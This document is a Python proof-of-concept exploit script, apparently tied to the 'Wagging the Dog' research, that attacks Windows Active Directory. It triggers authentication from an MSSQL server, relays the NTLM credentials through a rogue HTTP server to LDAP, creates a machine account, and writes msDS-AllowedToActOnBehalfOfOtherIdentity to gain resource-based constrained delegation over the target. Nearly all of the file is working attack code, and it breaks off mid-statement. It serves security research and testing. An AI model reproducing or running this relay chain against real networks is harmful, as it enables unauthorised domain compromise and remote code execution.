#!/usr/bin/env python # for more info: https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html # this is a rough PoC # requirements for RCE: # - the attacker needs to either have or create an object with a service principal name # - the MSSQL server has to be running under the context of System/Network Service/a virtual account # - the MSSQL server has the WebClient service installed and running (not default on Windows Server hosts) # - NTLM has to be in use # notes on this PoC: # - LDAPS relaying has not been implemented # - a command line switch for doing the initial connection for LDAP has also not yet been implemented # - mssql has to be listening on a TCP port # - you need to either add a dotless ADIDNS record for your relay host, or run Responder or similar tool # - if the account you've got doesn't have an SPN, it needs to have the ability to add machine accounts (by default, domain users can join up to 10; # the attribute to check is ms-DS-MachineAccountQuota, but some users have delegated rights over computer objects and such, so it really depends # on which account you're using, and the quickest check is to just try) # - it's just a PoC # - it probably has bugs # - it might fry everything and wasn't written for production use # - the author is not liable for how others use this code import os import sys import string import SimpleHTTPServer import SocketServer import base64 import random import struct import ConfigParser import string import argparse import datetime from time import sleep from argparse import * from threading import Thread from pyasn1.codec.der import decoder, encoder from pyasn1.type.univ import noValue from impacket import tds from impacket.ldap import ldaptypes from impacket.spnego import SPNEGO_NegTokenResp from impacket.smbserver import outputToJohnFormat, writeJohnOutputToFile from impacket.nt_errors import STATUS_ACCESS_DENIED, STATUS_SUCCESS from impacket.ntlm import NTLMAuthChallenge, NTLMAuthNegotiate, NTLMAuthChallengeResponse from impacket.krb5 import constants from impacket.krb5.ccache import CCache from impacket.krb5.crypto import Key, _enctype_table, _HMACMD5 from impacket.krb5.types import Principal, KerberosTime, Ticket from impacket.krb5.kerberosv5 import getKerberosTGT, sendReceive from impacket.krb5.asn1 import AP_REQ, AS_REP, TGS_REQ, Authenticator, TGS_REP, seq_set, seq_set_iter, PA_FOR_USER_ENC, Ticket as TicketAsn1, EncTGSRepPart from impacket.dcerpc.v5.dcomrt import DCOMConnection from impacket.dcerpc.v5.dcom import wmi from impacket.dcerpc.v5.dtypes import NULL from binascii import hexlify, unhexlify from struct import unpack from ldap3.operation import bind from ldap3 import Server, Connection, ALL, MODIFY_REPLACE, MODIFY_ADD, SUBTREE, NTLM from ldap3.core.results import RESULT_UNWILLING_TO_PERFORM, RESULT_SUCCESS, RESULT_STRONGER_AUTH_REQUIRED # adapted from @agsolino, code: https://github.com/SecureAuthCorp/impacket/blob/master/examples/mssqlclient.py class MSSQLCommand: def __init__(self, target='', port=1433, username='', password='', domain='', windows=True, hashes=None, aesKey=None, kdcHost=None, doKerberos=False): self.target = target self.port = port self.username = username self.password = password self.domain = domain self.windows_auth = windows self.k = doKerberos self.mssql_connection = None self.conn = False self.dc_ip = kdcHost if hashes: self.hashes = '00000000000000000000000000000000:%s' % hashes else: self.hashes = None def run_command(self, command, show_output=False): self.mssql_login() if self.conn == True: print "[*] executing relay trigger" self.mssql_connection.sql_query(command) if show_output == True: self.mssql_connection.printReplies() self.mssql_connection.printRows() print "[+] mssql query complete" else: print "[!] mssql authentication failed" self.mssql_connection.disconnect() def mssql_login(self): self.mssql_connection = tds.MSSQL(self.target, self.port) self.mssql_connection.connect() print "[*] logging in to mssql instance..." try: self.conn = self.mssql_connection.login(None, self.username, self.password, self.domain, self.hashes, self.windows_auth) except Exception, e: print "[!] mssql authentication failed exception: " + str(e) # checks if the provided domain credentials have SPN(s); if not, attempt to create a machine account class SetupAttack: def __init__(self, username='', domain='', password='', nthash = None, machine_username = '', machine_password = '', server_hostname = '', dn='', dc_ip='', use_ssl=False): self.username = username self.domain = domain self.dn = dn self.machine_username = machine_username self.machine_password = machine_password self.encoded_password = None self.server_hostname = server_hostname self.dc_ip = dc_ip self.use_ssl = use_ssl self.ldap_connection = None if nthash: self.password = '00000000000000000000000000000000:%s' % nthash else: self.password = password def get_unicode_password(self): password = self.machine_password self.encoded_password = '"{}"'.format(password).encode('utf-16-le') def ldap_login(self): print "[*] logging in to ldap server" if self.use_ssl == True: s = Server(self.dc_ip, port = 636, use_ssl = True, get_info = ALL) else: s = Server(self.dc_ip, port = 389, get_info = ALL) domain_user = "%s\\%s" % (self.domain, self.username) # we're doing an NTLM login try: self.ldap_connection = Connection(s, user = domain_user, password = self.password, authentication=NTLM) if self.ldap_connection.bind() == True: print "[+] ldap login as %s successful" % domain_user except Exception, e: print "[!] unable to connect: %s" % str(e) sys.exit() # I put standalone code for this here: https://gist.github.com/3xocyte/8ad2d227d0906ea5ee294677508620f5 def create_account(self): if self.machine_username == '': self.machine_username = ''.join(random.choice(string.uppercase + string.digits) for _ in range(8)) if self.machine_username[-1:] != "$": self.machine_username += "$" if self.machine_password == '': self.machine_password = ''.join(random.choice(string.uppercase + string.lowercase + string.digits) for _ in range(25)) self.get_unicode_password() dn = "CN=%s,CN=Computers,%s" % (self.machine_username[:-1], self.dn) dns_name = self.machine_username[:-1] + '.' + self.domain self.ldap_connection.add(dn, attributes={ 'objectClass':'Computer', 'SamAccountName': self.machine_username, 'userAccountControl': '4096', 'DnsHostName': dns_name, 'ServicePrincipalName': [ 'HOST/' + dns_name, 'RestrictedKrbHost/' + dns_name, 'HOST/' + self.machine_username[:-1], 'RestrictedKrbHost/' + self.machine_username[:-1] ], 'unicodePwd':self.encoded_password }) print "[+] added machine account %s with password %s" % (self.machine_username, self.machine_password) def check_spn(self): search_filter = '(samaccountname=%s)' % self.username self.ldap_connection.search(search_base = self.dn, search_filter=search_filter, search_scope=SUBTREE, attributes=['servicePrincipalName']) if self.ldap_connection.entries[0]['servicePrincipalName']: return True else: return False def execute(self): self.ldap_login() if self.check_spn(): print "[+] provided account has an SPN" self.machine_username = self.username self.machine_password = self.password else: self.create_account() if self.server_hostname == '': self.server_hostname = ''.join(random.choice(string.uppercase + string.digits) for _ in range(8)) # was going to add an ADIDNS A record but this script is already a bit long for a PoC self.ldap_connection.unbind() return self.machine_username, self.machine_password, self.server_hostname class LDAPRelayClientException(Exception): pass # adapted from @_dirkjan and @agsolino, code: https://github.com/SecureAuthCorp/impacket/blob/master/impacket/examples/ntlmrelayx/clients/ldaprelayclient.py class LDAPRelayClient: def __init__(self, extendedSecurity=True, dc_ip='', target='', domain='', target_hostname='', username='', dn=''): self.extendedSecurity = extendedSecurity self.negotiateMessage = None self.authenticateMessageBlob = None self.server = None self.targetPort = 389 self.dc_ip = dc_ip self.domain = domain self.target = target self.target_hostname = target_hostname self.username = username self.dn = dn # rbcd attack stuff def get_sid(self, ldap_connection, domain, target): search_filter = "(sAMAccountName=%s)" % target try: ldap_connection.search(self.dn, search_filter, attributes = ['objectSid']) target_sid_readable = ldap_connection.entries[0].objectSid target_sid = ''.join(ldap_connection.entries[0].objectSid.raw_values) except Exception, e: print "[!] unable to to get SID of target: %s" % str(e) return target_sid def add_attribute(self, ldap_connection, user_sid): # "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;" security_descriptor = ( "\x01\x00\x04\x80\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x24\x00\x00\x00\x01\x02\x00\x00\x00\x00\x00\x05\x20\x00\x00\x00" "\x20\x02\x00\x00\x02\x00\x2C\x00\x01\x00\x00\x00\x00\x00\x24\x00" "\xFF\x01\x0F\x00" ) # build payload payload = security_descriptor + user_sid # build LDAP query if self.target_hostname.endswith("$"): # assume computer account dn_base = "CN=%s,CN=Computers," % self.target_hostname[:-1] else: dn_base = "CN=%s,CN=Users," % self.target_hostname dn = dn_base + self.dn print "[*] adding attribute to object %s..." % self.target_hostname try: if ldap_connection.modify(dn, {'msds-allowedtoactonbehalfofotheridentity':(MODIFY_REPLACE, payload)}): print "[+] added msDS-AllowedToActOnBehalfOfOtherIdentity to object %s for object %s" % (self.target_hostname, self.username) else: print "[!] unable to modify attribute" except Exception, e: print "[!] unable to assign attribute: %s" % str(e) def killConnection(self): if self.session is not None: self.session.socket.close() self.session = None def initConnection(self): print "[*] initiating connection to ldap://%s:%s" % (self.dc_ip, self.targetPort) self.server = Server("ldap://%s:%s" % (self.dc_ip, self.targetPort), get_info=ALL) self.session = Connection(self.server, user="a", password="b", authentication=NTLM) self.session.open(False) return True def sendNegotiate(self, negotiateMessage): negoMessage = NTLMAuthNegotiate() negoMessage.fromString(negotiateMessage) self.negotiateMessage = str(negoMessage) with self.session.connection_lock: if not self.session.sasl_in_progress: self.session.sasl_in_progress = True request = bind.bind_operation(self.session.version, 'SICILY_PACKAGE_DISCOVERY') response = self.session.post_send_single_response(self.session.send('bindRequest', request, None)) result = response[0] try: sicily_packages = result['server_creds'].decode('ascii').split(';') except KeyError: raise LDAPRelayClientException('[!] failed to discover authentication methods, server replied: %s' % result) if 'NTLM' in sicily_packages: # NTLM available on server request = bind.bind_operation(self.session.version, 'SICILY_NEGOTIATE_NTLM', self) response = self.session.post_send_single_response(self.session.send('bindRequest', request, None)) result = response[0] if result['result'] == RESULT_SUCCESS: challenge = NTLMAuthChallenge() challenge.fromString(result['server_creds']) return challenge else: raise LDAPRelayClientException('[!] server did not offer ntlm authentication') #This is a fake function for ldap3 which wants an NTLM client with specific methods def create_negotiate_message(self): return self.negotiateMessage def sendAuth(self, authenticateMessageBlob, serverChallenge=None): if unpack('B', str(authenticateMessageBlob)[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob) token = respToken2['ResponseToken'] print "unpacked response token: " + str(token) else: token = authenticateMessageBlob with self.session.connection_lock: self.authenticateMessageBlob = token request = bind.bind_operation(self.session.version, 'SICILY_RESPONSE_NTLM', self, None) response = self.session.post_send_single_response(self.session.send('bindRequest', request, None)) result = response[0] self.session.sasl_in_progress = False if result['result'] == RESULT_SUCCESS: self.session.bound = True self.session.refresh_server_info() print "[+] relay complete" print "[*] running RBCD attack..." user_sid = self.get_sid(self.session, self.domain, self.username) self.add_attribute(self.session, user_sid) return True, STATUS_SUCCESS else: print "result is failed" if result['result'] == RESULT_STRONGER_AUTH_REQUIRED: raise LDAPRelayClientException('[!] ldap signing is enabled') return None, STATUS_ACCESS_DENIED #This is a fake function for ldap3 which wants an NTLM client with specific methods def create_authenticate_message(self): return self.authenticateMessageBlob #Placeholder function for ldap3 def parse_challenge_message(self, message): pass # todo class LDAPSRelayClient(LDAPRelayClient): PLUGIN_NAME = "LDAPS" MODIFY_ADD = MODIFY_ADD def __init__(self, serverConfig, target, targetPort = 636, extendedSecurity=True ): LDAPRelayClient.__init__(self, serverConfig, target, targetPort, extendedSecurity) def initConnection(self): self.server = Server("ldaps://%s:%s" % (self.targetHost, self.targetPort), get_info=ALL) self.session = Connection(self.server, user="a", password="b", authentication=NTLM) self.session.open(False) return True # adapted from @_dirkjan and @agsolino, code: https://github.com/SecureAuthCorp/impacket/blob/master/impacket/examples/ntlmrelayx/servers/httprelayserver.py class HTTPRelayServer(Thread): class HTTPServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer): def __init__(self, server_address, RequestHandlerClass): SocketServer.TCPServer.__init__(self,server_address, RequestHandlerClass) class HTTPHandler(SimpleHTTPServer.SimpleHTTPRequestHandler): _dc_ip = '' _domain = '' _target = '' _target_hostname = '' _username = '' _dn = '' def __init__(self, request, client_address, server): self.protocol_version = 'HTTP/1.1' self.challengeMessage = None self.client = None self.machineAccount = None self.machineHashes = None self.domainIp = None self.authUser = None print "[*] got connection from %s" % (client_address[0]) SimpleHTTPServer.SimpleHTTPRequestHandler.__init__(self,request, client_address, server) def handle_one_request(self): SimpleHTTPServer.SimpleHTTPRequestHandler.handle_one_request(self) def log_message(self, format, *args): return def do_REDIRECT(self): rstr = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(10)) self.send_response(302) self.send_header('WWW-Authenticate', 'NTLM') self.send_header('Content-type', 'text/html') self.send_header('Connection','close') self.send_header('Location','/%s' % rstr) self.send_header('Content-Length','0') self.end_headers() def do_OPTIONS(self): messageType = 0 if self.headers.getheader('Authorization') is None: self.do_AUTHHEAD(message = 'NTLM') pass else: typeX = self.headers.getheader('Authorization') try: _, blob = typeX.split('NTLM') token = base64.b64decode(blob.strip()) except: self.do_AUTHHEAD() messageType = struct.unpack('